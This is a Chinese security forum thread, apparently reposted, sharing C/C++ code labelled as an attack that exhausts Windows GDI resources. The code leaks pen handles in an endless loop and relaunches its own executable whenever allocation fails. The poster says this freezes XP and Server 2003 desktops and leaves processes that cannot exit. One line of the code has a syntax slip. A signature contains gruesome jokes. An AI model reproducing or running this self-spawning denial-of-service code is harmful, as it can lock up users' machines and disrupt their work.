找回密码
 注册创意安天

zz耗尽windows GDI资源的攻击代码

[复制链接]
发表于 2009-7-28 16:01 | 显示全部楼层 |阅读模式
Wappy

普通会员

发贴: 19
积分: 0
来自:
注册日期: 2006-09-01
  发表时间: 2007-07-06 16:49:06  

--------------------------------------------------------------------------------
耗尽windows GDI资源的攻击代码
2007.04.27 10:22 bruce:

虽然已经是NT时代,不像98那样gdi动不动就满了,满屏大字,但微软NT技术仍然有着gdi的限制,只不过是大了很多,经常出现windows不能创建新窗口。

因此,写了一段代码测试一下xp,2003的极限
没想到,windows还是那么的脆弱。

gdi耗尽后,视窗完全没法动弹,瘫痪了。

nt技术中,限制了每个进程最多10,000个gdi的占用,但不断的创建新进程来消耗gdi,nt就挂了
在2003的多任务下试了,每个远程桌面独立管理gdi互相不影响。
但耗尽了gdi的桌面注销后所有程序进程没法完全退出。

代码如下:

HDC hDC;
HPEN hPen;
PAINTSTRUCT Ps;

hDC = BeginPaint(hWnd, &Ps);

while(TRUE){
hPen = CreatePen(PS_DASHDOTDOT, 1, RGB(255, 25, 5));
if(hPen == NULL)
{
char name[MAX_PATH] = {0};
::GetModuleFileName(NULL, name, MAX_PATH);
::ShellExecute(NULL, _T("open",name,NULL,"",SW_SHOW);
continue;
}
SelectObject(hDC, hPen);
Rectangle(hDC, 1, 1, 2, 2);
//这里不释放gdi句柄hPen
}
<---- 以上言论仅代表本人立场 ---->



__________________

-以前世界军事有文章,前南的,一个女兵被榴弹炮炸上天,因为她穿着厚厚的军大衣,所以尸体没有散架

--一个记者采访过一位前食人族的酋长,他这样评价:
“白人,烤得好的话,味道像熟透了的香蕉!”


   

Winter_Leaf

普通会员

发贴: 25
积分: 0
来自:
注册日期: 2006-09-18
  发表时间: 2007-08-06 15:59:18  

--------------------------------------------------------------------------------
骗我进来,没意思。
连飘代闪过了。

<---- 以上言论仅代表本人立场 ---->



__________________
这其实是个变量名.
您需要登录后才可以回帖 登录 | 注册创意安天

本版积分规则

Archiver|手机版|小黑屋|创意安天 ( 京ICP备09068574,ICP证100468号。 )

GMT+8, 2024-11-18 09:49

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表